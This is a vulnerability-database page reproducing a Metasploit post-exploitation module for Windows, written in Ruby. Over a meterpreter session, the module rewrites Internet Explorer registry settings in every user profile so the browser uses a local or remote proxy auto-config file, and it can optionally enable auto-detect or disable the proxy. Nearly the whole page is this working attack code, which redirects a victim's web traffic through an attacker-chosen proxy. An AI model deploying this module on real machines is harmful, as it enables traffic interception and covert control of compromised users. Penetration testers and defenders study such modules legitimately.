Lucene search
K

Windows Manage Proxy PAC File

🗓️ 03 Dec 2013 21:23:09Reported by Borja Merino <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 32 Views

Configures Internet Explorer to use a PAC proxy file on Windows. Allows the use of a local PAC file or a remote PAC file provided with a full URL

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::Windows::Priv
  include Msf::Post::File
  include Msf::Post::Windows::Registry

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Manage Proxy PAC File',
        'Description' => %q{
          This module configures Internet Explorer to use a PAC proxy file. By using the LOCAL_PAC
          option, a PAC file will be created on the victim host. It's also possible to provide a
          remote PAC file (REMOTE_PAC option) by providing the full URL.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'Borja Merino <bmerinofe[at]gmail.com>'],
        'References' => [
          [ 'URL', 'https://www.youtube.com/watch?v=YGjIlbBVDqE&hd=1' ],
          [ 'URL', 'http://blog.scriptmonkey.eu/bypassing-group-policy-using-the-windows-registry' ]
        ],
        'Platform' => 'win',
        'SessionTypes' => [ 'meterpreter' ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_sys_config_getenv
            ]
          }
        }
      )
    )

    register_options(
      [
        OptPath.new('LOCAL_PAC', [false, 'Local PAC file.' ]),
        OptString.new('REMOTE_PAC', [false, 'Remote PAC file. (Ex: http://192.168.1.20/proxy.pac)' ]),
        OptBool.new('DISABLE_PROXY', [true, 'Disable the proxy server.', false]),
        OptBool.new('AUTO_DETECT', [true, 'Automatically detect settings.', false])
      ]
    )
  end

  def run
    if datastore['LOCAL_PAC'].blank? && datastore['REMOTE_PAC'].blank?
      print_error('You must set a remote or local PAC file. Aborting...')
      return
    end

    if datastore['REMOTE_PAC']
      @remote = true
      print_status('Setting automatic configuration script from a remote PAC file ...')
      res = enable_proxypac(datastore['REMOTE_PAC'])
    else
      @remote = false
      print_status('Setting automatic configuration script from local PAC file ...')
      pac_file = create_pac(datastore['LOCAL_PAC'])
      unless pac_file
        print_error('There were problems creating the PAC proxy file. Aborting...')
        return
      end
      res = enable_proxypac(pac_file)
    end
    unless res
      print_error('Error while setting an automatic configuration script. Aborting...')
      return
    end

    print_good('Automatic configuration script configured...')

    if datastore['AUTO_DETECT']
      print_status('Enabling Automatically Detect Settings...')
      unless auto_detect_on
        print_error('Failed to enable Automatically Detect Settings. Proceeding anyway...')
      end
    end

    if datastore['DISABLE_PROXY']
      print_status('Disabling the Proxy Server...')
      unless disable_proxy
        print_error('Failed to disable Proxy Server. Proceeding anyway...')
      end
    end
  end

  def create_pac(local_pac)
    pac_file = session.sys.config.getenv('APPDATA') << '\\' << Rex::Text.rand_text_alpha((rand(6..13))) << '.pac'
    conf_pac = ''

    if ::File.exist?(local_pac)
      conf_pac << ::File.open(local_pac, 'rb').read
    else
      print_error('Local PAC file not found.')
      return false
    end

    if write_file(pac_file, conf_pac)
      print_status("PAC proxy configuration file written to #{pac_file}")
      return pac_file
    else
      return false
    end
  end

  def enable_proxypac(pac)
    proxy_pac_enabled = false

    registry_enumkeys('HKU').each do |k|
      next unless k.include? 'S-1-5-21'
      next if k.include? '_Classes'

      key = "HKEY_USERS\\#{k}\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet\ Settings"
      value_auto = 'AutoConfigURL'
      file = @remote ? pac.to_s : "file://#{pac}"

      begin
        res = registry_setvaldata(key, value_auto, file, 'REG_SZ')
      rescue ::RuntimeError, Rex::TimeoutError
        next
      end

      if res.nil? # Rex::Post::Meterpreter::RequestError
        next
      end

      if change_connection(16, '05', key + '\\Connections')
        proxy_pac_enabled = true
      end
    end

    if proxy_pac_enabled
      return true
    else
      return false
    end
  end

  def auto_detect_on
    auto_detect_enabled = false

    registry_enumkeys('HKU').each do |k|
      next unless k.include? 'S-1-5-21'
      next if k.include? '_Classes'

      key = "HKEY_USERS\\#{k}\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet\ Settings\\Connections"
      if change_connection(16, '0D', key)
        print_good('Automatically Detect Settings on.')
        auto_detect_enabled = true
      end
    end

    if auto_detect_enabled
      return true
    else
      return false
    end
  end

  def disable_proxy
    value_enable = 'ProxyEnable'
    profile = false

    registry_enumkeys('HKU').each do |k|
      next unless k.include? 'S-1-5-21'
      next if k.include? '_Classes'

      key = "HKEY_USERS\\#{k}\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet\ Settings"
      begin
        registry_setvaldata(key, value_enable, 0, 'REG_DWORD')
        profile = true
      rescue ::RuntimeError, Rex::TimeoutError
        next
      end
    end

    if profile
      print_good('Proxy disabled.')
      return true
    else
      return false
    end
  end

  def change_connection(offset, value, key)
    value_default = 'DefaultConnectionSettings'
    begin
      value_con = registry_getvaldata(key, value_default)
      binary_data = value_con.unpack('H*')[0]
      binary_data[offset, 2] = value
      registry_setvaldata(key, value_default, ['%x' % binary_data.to_i(16)].pack('H*'), 'REG_BINARY')
    rescue ::RuntimeError, Rex::TimeoutError
      return false
    end

    return true
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Feb 2023 13:47Current
7.3High risk
Vulners AI Score7.3
32